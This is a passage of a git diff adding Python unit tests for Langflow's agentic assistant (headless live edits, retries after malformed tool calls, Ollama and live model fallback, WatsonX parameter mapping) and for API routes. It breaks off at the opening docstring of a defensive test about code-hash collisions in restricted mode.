Agent.")} + + with ( + patch.object( + assistant_runner, "_resolve_assistant_context", new_callable=AsyncMock, return_value=_context_stub() + ), + patch.object( + assistant_runner, + "execute_flow_with_validation_streaming", + side_effect=_stream_of(self._edit_field_events()), + ), + patch.object(assistant_runner, "get_working_flow", return_value=working_without_edit), + patch.object(assistant_runner, "_save_flow_to_fs", new_callable=AsyncMock), + patch.object(assistant_runner, "get_storage_service", MagicMock()), + ): + result = await assistant_runner.run_assistant_and_persist( + session=session, + user_id=user_id, + instruction=f"Set the Agent's system prompt to exactly '{self.MARKER}'.", + flow_id=str(flow.id), + ) + + assert result["flow_changed"] is True + persisted = flow.data["nodes"][0]["data"]["node"]["template"]["system_prompt"]["value"] + assert persisted == self.MARKER, f"the proposed text edit must persist headlessly; got {persisted!r}" + + @pytest.mark.asyncio + async def test_should_apply_proposed_edit_on_the_event_replay_fallback(self): + # No working-flow snapshot (empty) → the runner falls back to canvas.data + # built from the flow's initial data; the edit_field must still land. + from langflow.agentic.utils import assistant_runner + + user_id = uuid4() + flow = SimpleNamespace( + id=uuid4(), name="My Flow", data=self._agent_data("You are a Langflow Agent."), user_id=user_id + ) + session = AsyncMock() + session.get = AsyncMock(return_value=flow) + + with ( + patch.object( + assistant_runner, "_resolve_assistant_context", new_callable=AsyncMock, return_value=_context_stub() + ), + patch.object( + assistant_runner, + "execute_flow_with_validation_streaming", + side_effect=_stream_of(self._edit_field_events()), + ), + patch.object(assistant_runner, "get_working_flow", return_value=None), + patch.object(assistant_runner, "_save_flow_to_fs", new_callable=AsyncMock), + patch.object(assistant_runner, "get_storage_service", MagicMock()), + ): + await assistant_runner.run_assistant_and_persist( + session=session, + user_id=user_id, + instruction=f"Set the Agent's system prompt to exactly '{self.MARKER}'.", + flow_id=str(flow.id), + ) + + persisted = flow.data["nodes"][0]["data"]["node"]["template"]["system_prompt"]["value"] + assert persisted == self.MARKER, f"the proposed edit must land on the replay fallback too; got {persisted!r}" + + +class TestRunAssistantPersistsAuthoritativeWorkingFlow: + """E1 (Eric): persist the authoritative working-flow snapshot so configure/remove/tool-mode survive.""" + + AUTHORITATIVE_FLOW = { + "data": { + "nodes": [ + { + "id": "Agent-1", + "data": { + "id": "Agent-1", + "type": "Agent", + "node": {"template": {"system_prompt": {"value": "baker"}}}, + }, + } + ], + "edges": [], + } + } + + @pytest.mark.asyncio + async def test_should_persist_working_flow_snapshot_when_agent_configured_and_removed(self): + from langflow.agentic.utils import assistant_runner + + user_id = uuid4() + flow = SimpleNamespace( + id=uuid4(), + name="My Flow", + data={"nodes": [{"id": "Agent-1"}, {"id": "Old-1"}], "edges": []}, + user_id=user_id, + ) + session = AsyncMock() + session.get = AsyncMock(return_value=flow) + + events = [ + { + "event": "flow_update", + "action": "configure", + "component_id": "Agent-1", + "params": {"system_prompt": "baker"}, + }, + {"event": "flow_update", "action": "remove_component", "component_id": "Old-1"}, + {"event": "complete", "data": {"result": "Configured the agent and removed a node."}}, + ] + with ( + patch.object( + assistant_runner, "_resolve_assistant_context", new_callable=AsyncMock, return_value=_context_stub() + ), + patch.object(assistant_runner, "execute_flow_with_validation_streaming", side_effect=_stream_of(events)), + patch.object(assistant_runner, "get_working_flow", return_value=self.AUTHORITATIVE_FLOW), + patch.object(assistant_runner, "_save_flow_to_fs", new_callable=AsyncMock), + patch.object(assistant_runner, "get_storage_service", MagicMock()), + ): + result = await assistant_runner.run_assistant_and_persist( + session=session, user_id=user_id, instruction="configure the agent", flow_id=str(flow.id) + ) + + assert result["flow_changed"] is True + # The authoritative working flow wins: configure applied, Old-1 gone. + assert [n["id"] for n in flow.data["nodes"]] == ["Agent-1"] + agent = flow.data["nodes"][0] + assert agent["data"]["node"]["template"]["system_prompt"]["value"] == "baker" + + @pytest.mark.asyncio + async def test_should_fall_back_to_event_replay_when_working_flow_is_empty(self): + from langflow.agentic.utils import assistant_runner + + user_id = uuid4() + flow = SimpleNamespace(id=uuid4(), name="My Flow", data={"nodes": [], "edges": []}, user_id=user_id) + session = AsyncMock() + session.get = AsyncMock(return_value=flow) + + node = {"id": "ChatInput-x", "data": {"id": "ChatInput-x", "type": "ChatInput"}} + events = [ + {"event": "flow_update", "action": "add_component", "node": node}, + {"event": "complete", "data": {"result": "Added it."}}, + ] + with ( + patch.object( + assistant_runner, "_resolve_assistant_context", new_callable=AsyncMock, return_value=_context_stub() + ), + patch.object(assistant_runner, "execute_flow_with_validation_streaming", side_effect=_stream_of(events)), + patch.object(assistant_runner, "get_working_flow", return_value=None), + patch.object(assistant_runner, "_save_flow_to_fs", new_callable=AsyncMock), + patch.object(assistant_runner, "get_storage_service", MagicMock()), + ): + result = await assistant_runner.run_assistant_and_persist( + session=session, user_id=user_id, instruction="add input", flow_id=str(flow.id) + ) + + assert result["flow_changed"] is True + assert [n["id"] for n in flow.data["nodes"]] == ["ChatInput-x"] diff --git a/src/backend/tests/unit/agentic/services/test_assistant_service_headless_apply_edits.py b/src/backend/tests/unit/agentic/services/test_assistant_service_headless_apply_edits.py new file mode 100644 index 0000000000..0983d5f782 --- /dev/null +++ b/src/backend/tests/unit/agentic/services/test_assistant_service_headless_apply_edits.py @@ -0,0 +1,88 @@ +"""Headless callers apply edits live and are steered away from review wording. + +Bug #13641: driven headlessly via the MCP ``run_assistant`` tool, a text +``configure`` on a pre-existing node was surfaced as an ``edit_field`` review +proposal — never written to the working flow (no UI to approve it) and narrated +as "(pending user approval)". + +The streaming entrypoint takes ``apply_edits_immediately``. When set it: + 1. flips the lfx ``set_apply_edits_live`` switch so the propose tools apply + the change live instead of queuing a review card, and + 2. injects a headless directive into the agent input so the LLM reports the + edit as DONE rather than proposed. + +These drive the REAL streaming generator and assert both wirings for a flow turn. +""" + +from __future__ import annotations + +from unittest.mock import AsyncMock, patch + +import pytest +from langflow.agentic.services.assistant_service import execute_flow_with_validation_streaming +from langflow.agentic.services.flow_types import IntentResult + +MODULE = "langflow.agentic.services.assistant_service" + + +def _intent(intent: str) -> IntentResult: + return IntentResult(intent=intent, translation="t") + + +async def _collect(agen): + return [e async for e in agen] + + +async def _run(*, apply_edits_immediately: bool) -> tuple[list[bool], str]: + """Run a flow-edit turn; return (apply_live_calls, agent_input_value).""" + apply_live_calls: list[bool] = [] + captured: dict[str, str] = {} + + def _spy_live(*, enabled: bool) -> None: + apply_live_calls.append(enabled) + + def _agent_stream(*_args, **kwargs): + # The first call is the real turn; a no-action retry may follow with a + # different template, so only the first input carries the directive. + captured.setdefault("input_value", kwargs.get("input_value", "")) + + async def gen(): + yield "end", {"result": "Updated the system prompt."} + + return gen() + + with ( + patch(f"{MODULE}.classify_intent", new_callable=AsyncMock, return_value=_intent("build_flow")), + patch(f"{MODULE}.execute_flow_file_streaming", side_effect=_agent_stream), + patch(f"{MODULE}.drain_flow_events", return_value=[]), + patch(f"{MODULE}.reset_working_flow"), + patch(f"{MODULE}.set_apply_edits_live", side_effect=_spy_live), + patch("asyncio.sleep", new_callable=AsyncMock), + ): + await _collect( + execute_flow_with_validation_streaming( + flow_filename="TestFlow", + input_value="Set the Agent's system prompt to exactly 'X'.", + global_variables={}, + max_retries=1, + apply_edits_immediately=apply_edits_immediately, + ) + ) + return apply_live_calls, captured.get("input_value", "") + + +class TestHeadlessAppliesEditsLive: + @pytest.mark.asyncio + async def test_should_enable_live_apply_and_inject_directive_when_headless(self): + calls, agent_input = await _run(apply_edits_immediately=True) + assert calls, "set_apply_edits_live must be called for a flow turn" + assert calls[-1] is True, f"set_apply_edits_live must be enabled headlessly; got {calls}" + assert "Headless session" in agent_input, agent_input + assert "applied" in agent_input.lower() + + @pytest.mark.asyncio + async def test_should_not_enable_live_apply_nor_inject_directive_in_ui_path(self): + calls, agent_input = await _run(apply_edits_immediately=False) + assert calls, "set_apply_edits_live must be called for a flow turn" + assert calls[-1] is False, f"UI path must leave live-apply off; got {calls}" + assert "Headless session" not in agent_input diff --git a/src/backend/tests/unit/agentic/services/test_assistant_service_malformed_tool_call_retry.py b/src/backend/tests/unit/agentic/services/test_assistant_service_malformed_tool_call_retry.py new file mode 100644 index 0000000000..53ca58f106 --- /dev/null +++ b/src/backend/tests/unit/agentic/services/test_assistant_service_malformed_tool_call_retry.py @@ -0,0 +1,119 @@ +"""Malformed tool-call 500s from Ollama must retry, not kill the build. + +Reproduced live (2026-06-12, gpt-oss:20b): the model emitted a near-perfect +``build_flow`` spec but broke the args JSON; Ollama 500'd with "error parsing +tool call ... invalid character ']'". The failure is fast and transient +(resampling usually fixes it), yet builds treated it as terminal. +""" + +from __future__ import annotations + +import json +from unittest.mock import AsyncMock, patch + +import pytest +from langflow.agentic.services.assistant_service import ( + execute_flow_with_validation_streaming, +) +from langflow.agentic.services.flow_types import FlowExecutionError, IntentResult + +MODULE = "langflow.agentic.services.assistant_service" + +MALFORMED_TOOL_CALL_ERROR = ( + "Error building Component Agent: \n\nerror parsing tool call: " + 'raw=\'{"spec":"name: Random Flow Example..."}]}\', ' + "err=invalid character ']' after top-level value (status code: 500)." +) + + +def _collect_event_payloads(events: list[str]) -> list[dict]: + parsed: list[dict] = [] + for ev in events: + parsed.extend(json.loads(line[len("data: ") :]) for line in ev.splitlines() if line.startswith("data: ")) + return parsed + + +async def _collect(agen): + return [e async for e in agen] + + +class _MalformedThenSuccessFactory: + def __init__(self, fail_count: int) -> None: + self.fail_count = fail_count + self.calls = 0 + + def __call__(self, **_kwargs): + self.calls += 1 + calls = self.calls + + async def gen(): + if calls <= self.fail_count: + raise FlowExecutionError(original_error_message=MALFORMED_TOOL_CALL_ERROR) + yield "end", {"result": "Built it."} + + return gen() + + +class TestMalformedToolCallRetry: + @pytest.mark.asyncio + async def test_should_retry_build_when_tool_call_parsing_fails_transiently(self): + factory = _MalformedThenSuccessFactory(fail_count=1) + + def drain(): + if factory.calls >= 2: + return [{"action": "set_flow", "flow": {"data": {"nodes": [], "edges": []}}}] + return [] + + with ( + patch( + f"{MODULE}.classify_intent", + new_callable=AsyncMock, + return_value=IntentResult(intent="build_flow", translation="t"), + ), + patch(f"{MODULE}.execute_flow_file_streaming", side_effect=factory), + patch(f"{MODULE}.drain_flow_events", side_effect=drain), + patch("asyncio.sleep", new_callable=AsyncMock), + ): + events = await _collect( + execute_flow_with_validation_streaming( + flow_filename="TestFlow", + input_value="crie um flow com 5 componentes aleatorios", + global_variables={}, + model_name="gpt-oss:20b", + max_retries=2, + ) + ) + + payloads = _collect_event_payloads(events) + event_types = [p.get("event") for p in payloads] + assert factory.calls == 2, f"Expected a retry after the malformed tool call, executor ran {factory.calls}x" + assert "error" not in event_types, f"Transient parse failure must not be terminal, got: {event_types}" + assert "complete" in event_types + + @pytest.mark.asyncio + async def test_should_surface_error_when_every_attempt_produces_malformed_tool_calls(self): + factory = _MalformedThenSuccessFactory(fail_count=99) + with ( + patch( + f"{MODULE}.classify_intent", + new_callable=AsyncMock, + return_value=IntentResult(intent="build_flow", translation="t"), + ), + patch(f"{MODULE}.execute_flow_file_streaming", side_effect=factory), + patch(f"{MODULE}.drain_flow_events", return_value=[]), + patch("asyncio.sleep", new_callable=AsyncMock), + ): + events = await _collect( + execute_flow_with_validation_streaming( + flow_filename="TestFlow", + input_value="crie um flow", + global_variables={}, + model_name="gpt-oss:20b", + max_retries=1, + ) + ) + + payloads = _collect_event_payloads(events) + error_events = [p for p in payloads if p.get("event") == "error"] + assert error_events, "Exhausted malformed-tool-call retries must end in an explicit error" + assert "malformed tool call" in error_events[0]["message"].lower() diff --git a/src/backend/tests/unit/agentic/services/test_assistant_service_no_action_guard.py b/src/backend/tests/unit/agentic/services/test_assistant_service_no_action_guard.py index fe4a3301c6..d268be2727 100644 --- a/src/backend/tests/unit/agentic/services/test_assistant_service_no_action_guard.py +++ b/src/backend/tests/unit/agentic/services/test_assistant_service_no_action_guard.py @@ -166,3 +166,105 @@ async def test_should_emit_error_not_fake_success_when_no_action_retries_exhaust assert any('"event": "error"' in e for e in events) assert not any('"event": "complete"' in e for e in events) + + +@pytest.mark.asyncio +async def test_should_name_the_model_in_no_action_error_so_users_know_what_to_change(): + """Tiny models write tool-call-shaped JSON as text; the error must blame the model, not the prompt.""" + + def streaming_factory(**_kw): + async def gen(): + yield "end", {"result": "Here is how you would build the flow: ..."} + + return gen() + + with ( + patch(f"{MODULE}.classify_intent", new_callable=AsyncMock, return_value=_make_intent("build_flow")), + patch(f"{MODULE}.execute_flow_file_streaming", side_effect=streaming_factory), + patch(f"{MODULE}.drain_flow_events", return_value=[]), + patch("asyncio.sleep", new_callable=AsyncMock), + ): + events = await _collect( + execute_flow_with_validation_streaming( + flow_filename="TestFlow", + input_value="crie um flow com 5 componentes aleatorios", + global_variables={}, + model_name="qwen2.5:1.5b", + max_retries=1, + ) + ) + + error_events = [e for e in events if '"event": "error"' in e] + assert error_events, f"Expected an error event, got: {events}" + assert "qwen2.5:1.5b" in error_events[0], "The error must name the model that produced no canvas actions" + assert "larger" in error_events[0].lower(), "The error must suggest a larger/more capable model" + + +@pytest.mark.asyncio +async def test_should_fail_fast_without_retries_when_a_small_model_produces_no_actions(): + """Retrying a tiny model is predictably futile — one attempt, immediate model-naming error.""" + call_count = 0 + + def streaming_factory(**_kw): + nonlocal call_count + call_count += 1 + + async def gen(): + yield "end", {"result": "Step 1: search components..."} + + return gen() + + with ( + patch(f"{MODULE}.classify_intent", new_callable=AsyncMock, return_value=_make_intent("build_flow")), + patch(f"{MODULE}.execute_flow_file_streaming", side_effect=streaming_factory), + patch(f"{MODULE}.drain_flow_events", return_value=[]), + patch("asyncio.sleep", new_callable=AsyncMock), + ): + events = await _collect( + execute_flow_with_validation_streaming( + flow_filename="TestFlow", + input_value="crie um flow com 5 componentes aleatorios", + global_variables={}, + model_name="qwen2.5:1.5b", + max_retries=3, + ) + ) + + assert call_count == 1, f"A known-small model must not burn retries; executor ran {call_count}x" + assert not any('"step": "retrying"' in e for e in events), "No retry spam for known-small models" + error_events = [e for e in events if '"event": "error"' in e] + assert error_events, "Expected an immediate error event" + assert "qwen2.5:1.5b" in error_events[0] + + +@pytest.mark.asyncio +async def test_should_keep_retrying_no_action_for_large_models(): + """A 20B-class model deserves the corrective re-prompt — only known-small models fail fast.""" + call_count = 0 + + def streaming_factory(**_kw): + nonlocal call_count + call_count += 1 + + async def gen(): + yield "end", {"result": "I would build it like this..."} + + return gen() + + with ( + patch(f"{MODULE}.classify_intent", new_callable=AsyncMock, return_value=_make_intent("build_flow")), + patch(f"{MODULE}.execute_flow_file_streaming", side_effect=streaming_factory), + patch(f"{MODULE}.drain_flow_events", return_value=[]), + patch("asyncio.sleep", new_callable=AsyncMock), + ): + await _collect( + execute_flow_with_validation_streaming( + flow_filename="TestFlow", + input_value="build a chatbot", + global_variables={}, + model_name="gpt-oss:20b", + max_retries=2, + ) + ) + + assert call_count >= 2, f"Large models must keep the corrective retry; executor ran {call_count}x" diff --git a/src/backend/tests/unit/agentic/services/test_assistant_service_ollama_fallback.py b/src/backend/tests/unit/agentic/services/test_assistant_service_ollama_fallback.py new file mode 100644 index 0000000000..da8b875e4b --- /dev/null +++ b/src/backend/tests/unit/agentic/services/test_assistant_service_ollama_fallback.py @@ -0,0 +1,110 @@ +"""Streaming fallback when the resolved Ollama model is not installed. + +Reproduced live (2026-06-12, release-1.11.0, Ollama-only setup): +``POST /agentic/assist/stream`` without an explicit model resolves the +static catalog default ``llama3.3``; Ollama answers ``model 'llama3.3' +not found (status code: 404)`` and the stream ends in a terminal +``error`` event on attempt 1 — no fallback to any installed model. + +After the fix the streamer must recognize the Ollama 404 phrasing as a +model-unavailable signal and walk the LIVE installed-model candidates +(via ``get_provider_model_candidates(provider, user_id=...)``) instead +of the static catalog. + +Mock boundaries: ``execute_flow_file_streaming`` (the LLM/flow engine) +and ``get_live_models_for_provider`` (external Ollama server) — neither +is reproducible in CI. Intent classification is patched like in +``test_assistant_service_model_fallback.py``. +""" + +from __future__ import annotations + +import json +from unittest.mock import AsyncMock, patch + +import pytest +from langflow.agentic.services.assistant_service import ( + execute_flow_with_validation_streaming, +) +from langflow.agentic.services.flow_types import FlowExecutionError, IntentResult + +MODULE = "langflow.agentic.services.assistant_service" +PROVIDER_MODULE = "langflow.agentic.services.provider_service" + +OLLAMA_MODEL_NOT_FOUND_ERROR = "Error building Component Language Model: model 'llama3.3' not found (status code: 404)." + +INSTALLED_OLLAMA_MODELS = [ + {"name": "gpt-oss:20b", "tool_calling": True}, + {"name": "llama3.2:latest", "tool_calling": True}, +] + + +def _collect_event_payloads(events: list[str]) -> list[dict]: + parsed: list[dict] = [] + for ev in events: + parsed.extend(json.loads(line[len("data: ") :]) for line in ev.splitlines() if line.startswith("data: ")) + return parsed + + +async def _collect(gen): + return [event async for event in gen] + + +class _OllamaNotFoundFlowFactory: + """Raises the exact Ollama 404 error until a non-catalog model is used.""" + + def __init__(self, fail_count: int) -> None: + self.fail_count = fail_count + self.calls: list[str] = [] + + def __call__(self, *_args, **kwargs): + model_name = kwargs.get("model_name") or "" + self.calls.append(model_name) + + async def gen(): + if len(self.calls) <= self.fail_count: + raise FlowExecutionError(original_error_message=OLLAMA_MODEL_NOT_FOUND_ERROR) + yield ("end", {"result": "ok"}) + + return gen() + + +class TestOllamaModelFallback: + @pytest.mark.asyncio + async def test_should_fall_back_to_installed_model_when_ollama_default_is_not_installed(self): + factory = _OllamaNotFoundFlowFactory(fail_count=1) + with ( + patch( + f"{MODULE}.classify_intent", + new_callable=AsyncMock, + return_value=IntentResult(intent="question", translation="test"), + ), + patch( + f"{MODULE}.execute_flow_file_streaming", + side_effect=factory, + ), + patch( + f"{PROVIDER_MODULE}.get_live_models_for_provider", + return_value=INSTALLED_OLLAMA_MODELS, + create=True, + ), + ): + gen = execute_flow_with_validation_streaming( + flow_filename="TestFlow", + input_value="hello", + global_variables={"MODEL_NAME": "llama3.3", "PROVIDER": "Ollama"}, + user_id="00000000-0000-0000-0000-000000000001", + provider="Ollama", + model_name="llama3.3", + api_key_var="OLLAMA_BASE_URL", + max_retries=0, + ) + events = await _collect(gen) + + payloads = _collect_event_payloads(events) + event_types = [p.get("event") for p in payloads] + assert factory.calls == ["llama3.3", "gpt-oss:20b"], ( + f"Expected fallback to the installed gpt-oss:20b after llama3.3 404, got: {factory.calls}" + ) + assert "error" not in event_types, f"Expected silent fallback (no error event), got: {event_types}" + assert "complete" in event_types, f"Expected complete event after fallback, got: {event_types}" diff --git a/src/backend/tests/unit/agentic/services/test_flow_preparation.py b/src/backend/tests/unit/agentic/services/test_flow_preparation.py index 1cbd4d482b..a8484f1f9d 100644 --- a/src/backend/tests/unit/agentic/services/test_flow_preparation.py +++ b/src/backend/tests/unit/agentic/services/test_flow_preparation.py @@ -146,6 +146,30 @@ class TestInjectModelIntoFlow: assert metadata["url_param"] == "azure_endpoint" assert metadata["base_url_param"] == "base_url" + def test_should_use_model_id_param_for_watsonx(self): + """WatsonX must inject model_id, not the generic model (GitHub #13735). + + inject_model_into_flow read the non-existent key model_name_param from + get_provider_param_mapping (which emits model_param), defaulting to "model". + For WatsonX that sets ChatWatsonx.model, routing to the OpenAI-compatible AI + Gateway (400 "model not found") instead of native ModelInference (model_id). + Uses the real WatsonX provider mapping (no mock) so the key drift is exercised. + """ + flow_data = _make_flow_data(["Agent"]) + + result = inject_model_into_flow( + flow_data, + "IBM WatsonX", + "openai/gpt-oss-120b", + provider_vars={ + "WATSONX_URL": "https://us-south.ml.cloud.ibm.com", + "WATSONX_PROJECT_ID": "pid", + }, + ) + + metadata = result["data"]["nodes"][0]["data"]["node"]["template"]["model"]["value"][0]["metadata"] + assert metadata["model_name_param"] == "model_id" + def test_should_handle_flow_without_agent_nodes(self): """Flow with no Agent nodes should return data without modification.""" flow_data = _make_flow_data(["ChatInput", "ChatOutput"]) diff --git a/src/backend/tests/unit/agentic/services/test_provider_service_live_models.py b/src/backend/tests/unit/agentic/services/test_provider_service_live_models.py new file mode 100644 index 0000000000..d8dd159f32 --- /dev/null +++ b/src/backend/tests/unit/agentic/services/test_provider_service_live_models.py @@ -0,0 +1,239 @@ +"""Live-provider model resolution for the assistant (Ollama et al.). + +Reproduced live (2026-06-12, release-1.11.0): with only Ollama configured +the assistant resolves its default model and fallback candidates from the +STATIC catalog (``llama3.3``, ``qwq``, ...) even though the running Ollama +server reports a different set of installed models (``gpt-oss:20b``, +``llama3.2:latest``, ``qwen2.5:1.5b``). Every request without an explicit +(and exactly-matching) model name dies with ``Model not available``. + +For providers in ``LIVE_MODEL_PROVIDERS`` the default model and the +fallback candidate walk must come from the live installed-model list when +a ``user_id`` is available to resolve credentials. + +The live fetch boundary (``get_live_models_for_provider``) is mocked: it +hits an external Ollama server that CI cannot reproduce. Everything else +runs real. +""" + +from unittest.mock import patch + +from langflow.agentic.services.provider_service import ( + get_default_model, + get_provider_model_candidates, +) + +MODULE = "langflow.agentic.services.provider_service" + +INSTALLED_OLLAMA_MODELS = [ + {"name": "gpt-oss:20b", "tool_calling": True}, + {"name": "llama3.2:latest", "tool_calling": True}, + {"name": "qwen2.5:1.5b", "tool_calling": True}, +] + + +class TestGetDefaultModelLiveProviders: + def test_should_return_installed_model_when_catalog_default_is_not_installed(self): + with patch( + f"{MODULE}.get_live_models_for_provider", + return_value=INSTALLED_OLLAMA_MODELS, + create=True, + ): + default = get_default_model("Ollama", user_id="00000000-0000-0000-0000-000000000001") + + assert default == "gpt-oss:20b" + + def test_should_keep_catalog_default_when_it_is_installed(self): + installed = [{"name": "llama3.3", "tool_calling": True}, *INSTALLED_OLLAMA_MODELS] + with patch( + f"{MODULE}.get_live_models_for_provider", + return_value=installed, + create=True, + ): + default = get_default_model("Ollama", user_id="00000000-0000-0000-0000-000000000001") + + assert default == "llama3.3" + + def test_should_fall_back_to_catalog_when_live_fetch_returns_nothing(self): + with patch( + f"{MODULE}.get_live_models_for_provider", + return_value=[], + create=True, + ): + default = get_default_model("Ollama", user_id="00000000-0000-0000-0000-000000000001") + + assert default == "llama3.3" + + def test_should_use_catalog_when_no_user_id_is_available(self): + assert get_default_model("Ollama") == "llama3.3" + + def test_should_not_fetch_live_models_for_static_providers(self): + with patch( + f"{MODULE}.get_live_models_for_provider", + create=True, + ) as live_fetch: + get_default_model("Anthropic", user_id="00000000-0000-0000-0000-000000000001") + + live_fetch.assert_not_called() + + +class TestOpenAIConditionalLive: + """OpenAI with OPENAI_BASE_URL behaves like a live provider for the assistant. + + Without a base URL the live fetch returns [] and the static catalog + stays in charge — key-only OpenAI users see no behavior change. + """ + + SERVER_MODELS = [ + {"name": "gpt-oss:20b", "tool_calling": True}, + {"name": "llama3.2:latest", "tool_calling": True}, + ] + + def test_should_default_to_a_server_model_when_base_url_is_configured(self): + with patch( + f"{MODULE}.get_live_models_for_provider", + return_value=self.SERVER_MODELS, + create=True, + ): + default = get_default_model("OpenAI", user_id="00000000-0000-0000-0000-000000000001") + + assert default == "gpt-oss:20b" + + def test_should_walk_server_models_as_fallback_candidates(self): + with patch( + f"{MODULE}.get_live_models_for_provider", + return_value=self.SERVER_MODELS, + create=True, + ): + candidates = get_provider_model_candidates("OpenAI", user_id="00000000-0000-0000-0000-000000000001") + + assert candidates == ["gpt-oss:20b", "llama3.2:latest"] + + def test_should_keep_catalog_default_when_live_fetch_is_empty(self): + with patch( + f"{MODULE}.get_live_models_for_provider", + return_value=[], + create=True, + ): + default = get_default_model("OpenAI", user_id="00000000-0000-0000-0000-000000000001") + + assert default is not None + assert default != "gpt-oss:20b" + + +class TestGetProviderModelCandidatesLiveProviders: + def test_should_walk_installed_models_when_provider_is_live(self): + with patch( + f"{MODULE}.get_live_models_for_provider", + return_value=INSTALLED_OLLAMA_MODELS, + create=True, + ): + candidates = get_provider_model_candidates("Ollama", user_id="00000000-0000-0000-0000-000000000001") + + assert candidates == ["gpt-oss:20b", "llama3.2:latest", "qwen2.5:1.5b"] + + def test_should_exclude_installed_models_without_tool_calling(self): + installed = [ + {"name": "gpt-oss:20b", "tool_calling": True}, + {"name": "no-tools-model", "tool_calling": False}, + ] + with patch( + f"{MODULE}.get_live_models_for_provider", + return_value=installed, + create=True, + ): + candidates = get_provider_model_candidates("Ollama", user_id="00000000-0000-0000-0000-000000000001") + + assert candidates == ["gpt-oss:20b"] + + def test_should_fall_back_to_catalog_when_live_fetch_returns_nothing(self): + with patch( + f"{MODULE}.get_live_models_for_provider", + return_value=[], + create=True, + ): + candidates = get_provider_model_candidates("Ollama", user_id="00000000-0000-0000-0000-000000000001") + + assert candidates + assert candidates[0] == "llama3.3" + + def test_should_use_catalog_when_no_user_id_is_available(self): + candidates = get_provider_model_candidates("Ollama") + + assert candidates + assert candidates[0] == "llama3.3" + + +class TestCloudModelOrdering: + """Ollama cloud models (``:cloud`` tag) may 403 without a subscription. + + Reproduced live (2026-06-12): ``glm-5:cloud`` listed FIRST by /api/tags + became the assistant default and every request died with + ``requires a subscription ... (status code: 403)``. Local models must + come first; cloud models stay selectable but are tried last. + """ + + INSTALLED_WITH_CLOUD_FIRST = [ + {"name": "glm-5:cloud", "tool_calling": True}, + {"name": "gpt-oss:20b", "tool_calling": True}, + {"name": "llama3.2:latest", "tool_calling": True}, + ] + + def test_should_not_default_to_a_cloud_model_when_local_models_exist(self): + with patch( + f"{MODULE}.get_live_models_for_provider", + return_value=self.INSTALLED_WITH_CLOUD_FIRST, + create=True, + ): + default = get_default_model("Ollama", user_id="00000000-0000-0000-0000-000000000001") + + assert default == "gpt-oss:20b" + + def test_should_order_candidates_local_first_cloud_last(self): + with patch( + f"{MODULE}.get_live_models_for_provider", + return_value=self.INSTALLED_WITH_CLOUD_FIRST, + create=True, + ): + candidates = get_provider_model_candidates("Ollama", user_id="00000000-0000-0000-0000-000000000001") + + assert candidates == ["gpt-oss:20b", "llama3.2:latest", "glm-5:cloud"] + + def test_should_keep_cloud_models_when_they_are_the_only_option(self): + with patch( + f"{MODULE}.get_live_models_for_provider", + return_value=[{"name": "glm-5:cloud", "tool_calling": True}], + create=True, + ): + default = get_default_model("Ollama", user_id="00000000-0000-0000-0000-000000000001") + + assert default == "glm-5:cloud" + + +class TestLiveFetchFailOpen: + """C2/C9: any exception from the live-fetch boundary degrades to catalog behavior (fail-open).""" + + def test_should_return_empty_when_live_fetch_raises_unexpected_error(self): + from langflow.agentic.services.provider_service import list_installed_tool_calling_models + + with patch( + f"{MODULE}.get_live_models_for_provider", + side_effect=RuntimeError("adapter blew up"), + create=True, + ): + result = list_installed_tool_calling_models("Ollama", "00000000-0000-0000-0000-000000000001") + + assert result == [] + + def test_should_fall_back_to_catalog_candidates_when_live_fetch_raises(self): + with patch( + f"{MODULE}.get_live_models_for_provider", + side_effect=RuntimeError("adapter blew up"), + create=True, + ): + candidates = get_provider_model_candidates("Ollama", user_id="00000000-0000-0000-0000-000000000001") + default = get_default_model("Ollama", user_id="00000000-0000-0000-0000-000000000001") + + assert candidates + assert candidates[0] == "llama3.3" + assert default == "llama3.3" diff --git a/src/backend/tests/unit/api/v1/test_deployments_routes.py b/src/backend/tests/unit/api/v1/test_deployments_routes.py index 8e835c9ce9..07900889bd 100644 --- a/src/backend/tests/unit/api/v1/test_deployments_routes.py +++ b/src/backend/tests/unit/api/v1/test_deployments_routes.py @@ -4,21 +4,38 @@ These tests guard against route-order regressions where static routes could be captured by the dynamic `/{deployment_id}` route. """ +from collections.abc import Iterator from uuid import uuid4 import langflow.api.router as api_router_module import pytest -from fastapi import APIRouter, FastAPI +from fastapi import APIRouter from fastapi.routing import APIRoute from langflow.api.v1.deployments import router from starlette.routing import Match +def _flatten_api_routes(router: APIRouter) -> Iterator[APIRoute]: + """Yield every ``APIRoute`` reachable from ``router``. + + FastAPI >=0.137 includes sub-routers lazily: ``include_router`` stores an + internal ``_IncludedRouter`` wrapper instead of eagerly copying the child + ``APIRoute`` objects into ``router.routes``. Descend through that wrapper via + its public ``original_router`` reference so these tests work on both the + eager (<=0.136) and lazy (>=0.137) inclusion behaviours. + """ + for route in router.routes: + if isinstance(route, APIRoute): + yield route + else: + original = getattr(route, "original_router", None) + if original is not None: + yield from _flatten_api_routes(original) + + @pytest.fixture def deployment_routes() -> list[APIRoute]: - app = FastAPI() - app.include_router(router) - return [route for route in app.router.routes if isinstance(route, APIRoute)] + return list(_flatten_api_routes(router)) def _resolve_endpoint_name(routes: list[APIRoute], *, path: str, method: str = "GET") -> str: @@ -104,7 +121,7 @@ def test_include_deployment_router_skips_routes_when_feature_disabled(monkeypatc router_v1 = APIRouter(prefix="/v1") api_router_module.include_deployment_router(router_v1) - assert all("/deployments" not in route.path for route in router_v1.routes) + assert all("/deployments" not in route.path for route in _flatten_api_routes(router_v1)) def test_include_deployment_router_adds_routes_when_feature_enabled(monkeypatch: pytest.MonkeyPatch) -> None: @@ -113,4 +130,4 @@ def test_include_deployment_router_adds_routes_when_feature_enabled(monkeypatch: router_v1 = APIRouter(prefix="/v1") api_router_module.include_deployment_router(router_v1) - assert any("/deployments" in route.path for route in router_v1.routes) + assert any("/deployments" in route.path for route in _flatten_api_routes(router_v1)) diff --git a/src/backend/tests/unit/api/v1/test_endpoints.py b/src/backend/tests/unit/api/v1/test_endpoints.py index 8bc7c2ae6c..bfdfee1714 100644 --- a/src/backend/tests/unit/api/v1/test_endpoints.py +++ b/src/backend/tests/unit/api/v1/test_endpoints.py @@ -651,3 +651,162 @@ async def test_deprecated_upload_enforces_max_file_size( assert response.status_code == status.HTTP_413_CONTENT_TOO_LARGE, ( f"Expected 413 for oversized upload, got {response.status_code}: {response.text}" ) + + +async def test_custom_component_runs_trusted_copy_on_hash_collision( + client: AsyncClient, + logged_in_headers: dict, + monkeypatch, + tmp_path, +): + """Restricted mode must run the trusted copy, not colliding attacker bytes. + + Security (#13496): the truncated code-hash is the only gate in front of + exec(). A second-preimage 